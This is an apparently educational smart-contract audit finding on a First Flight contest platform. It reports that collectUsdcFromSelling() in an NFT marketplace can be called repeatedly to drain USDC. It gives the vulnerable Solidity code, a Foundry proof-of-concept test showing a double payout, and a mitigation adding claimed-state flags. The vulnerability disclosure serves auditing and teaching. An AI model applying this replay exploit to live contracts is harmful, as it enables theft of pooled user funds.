NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling() can be called repeatedly because proceeds are never marked as claimed

Author Revealed upon completion

Root + Impact

Description

Under normal behavior, a seller should be able to collect the proceeds from a completed sale exactly once. After the payout is made, the sale should reach a terminal settled state so the same proceeds cannot be withdrawn again.

In the current implementation, collectUsdcFromSelling() transfers sale proceeds every time it is called, but it never marks the payout as claimed and never clears the accounting state used to calculate that payout. As a result, the recorded seller can call the function multiple times and repeatedly drain USDC from the contract as long as the contract still holds enough balance.

The root cause is that the function only checks that the listing is inactive and that msg.sender is the current recorded seller, but it does not store any “claimed” flag, delete the listing, or zero the payout basis after transferring funds.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
​
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> no claimed flag is set
// @> no listing state is deleted or finalized
// @> no payout basis is cleared after transfer
}

Risk

Likelihood:

  • The bug occurs whenever a seller has an inactive listing and calls collectUsdcFromSelling() more than once.

  • The exploit path is straightforward because the function has no one-time-use guard and no post-payout state update preventing replay.

Impact:

  • A seller can withdraw the same sale proceeds multiple times.

  • Repeated claims can drain pooled USDC belonging to the protocol, including funds originating from buyers, mint collateral, or fees.

  • Once exploited, the contract can become insolvent for later legitimate withdrawals.

Proof of Concept

Paste this inside NFTDealersTest.t.sol:

function testCollectUsdcFromSellingCanBeClaimedMultipleTimes() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
​
uint256 fees = nftDealers.calculateFees(nftPrice);
uint256 firstPayout = (uint256(nftPrice) - fees) + nftDealers.lockAmount();
​
mintAndListNFTForTesting(tokenId, nftPrice);
​
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(tokenId);
vm.stopBroadcast();
​
// Fund the contract with extra USDC so the second claim can also succeed.
// This simulates the pooled-balance reality of the protocol.
usdc.mint(address(nftDealers), firstPayout);
​
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
​
uint256 sellerBalanceAfterFirstClaim = usdc.balanceOf(userWithCash);
assertEq(sellerBalanceAfterFirstClaim, firstPayout);
​
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
​
uint256 sellerBalanceAfterSecondClaim = usdc.balanceOf(userWithCash);
​
// Seller receives the same payout again.
assertEq(sellerBalanceAfterSecondClaim, firstPayout * 2);
}

Recommended Mitigation

Track sale settlement explicitly and finalize it before transferring funds. At minimum:

  • distinguish sold listings from canceled listings,

  • add a proceedsClaimed flag or equivalent settled-state marker,

  • zero or delete the payout basis before the external token transfer.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool wasSold;
+ bool proceedsClaimed;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!